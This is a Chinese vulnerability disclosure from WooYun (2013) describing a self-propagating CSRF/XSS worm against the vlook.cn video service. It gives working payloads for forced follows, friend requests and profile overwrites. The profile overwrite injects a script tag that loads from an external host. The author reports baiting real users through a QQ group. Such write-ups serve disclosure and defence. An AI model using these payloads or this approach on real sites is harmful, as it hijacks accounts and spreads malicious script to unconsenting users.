微录客某处CSRF漏洞可构造蠕虫 | wooyun-2013-039094| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039094

漏洞标题：微录客某处CSRF漏洞可构造蠕虫

漏洞作者： M0nster

提交时间：2013-10-09 12:24

修复时间：2013-11-23 12:25

公开时间：2013-11-23 12:25

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-09：积极联系厂商并且等待厂商认领中，细节不对外公开
2013-11-23：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

在简介里面没有过滤直接插入XSS构造蠕虫

详细说明：

先来看看关注，用神器来抓下包

是get方式，直接用xss.js来写

xss.ajax('http://service.vlook.cn/ajx/user.addFollow?whom=2005113&rnd=0.6778604593127966')

接下来是加好友

抓包

用post方式提交这里的reqMsg后面就是刚才的申请理由，可以自己更改一下。

xss.ajax('http://service.vlook.cn/ajx/user.requestFriend','fid=2005113&reqMsg=AJAX!')

然后就是改简介了

还是先改一下自己的抓包看看，desc=的内容就是简介了，里面写上配置好的xss

post提交

xss.ajax('http://service.vlook.cn/ajx/post.updateUser','nickName=M0nster_WooYun&gender=1&desc=M0nster%40WooYun%3Cscript%20src%3Dhttp%3A%2F%2Fxxxxxx.com%2Fxss%3E%3C%2Fscript%3E&province=%E6%B5%B7%E5%A4%96&city=%E8%B5%9E%E6%AF%94%E4%BA%9A&birthProvince=%E5%8C%97%E4%BA%AC&birthCity=%E4%B8%9C%E5%9F%8E')

之后就是保存让别人去打开你的主页吧
因为这个主要应该是在手机端使用，但是手机端不解析简介里的html，所以只能想办法让用户在电脑端打开你的主页，我在QQ里面搜了个VLOOK的群

漏洞证明：

http://service.vlook.cn/ta/qs/dWlkPTIwMDUxMTM
在群里发了链接之后有人上钩了

关注我的人

收到的好友申请申请内容是我该过的“AJAX！”

再看看他们的简介吧

这样一只蠕虫就蛋生了

修复方案：

token

版权声明：转载请注明来源 M0nster@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝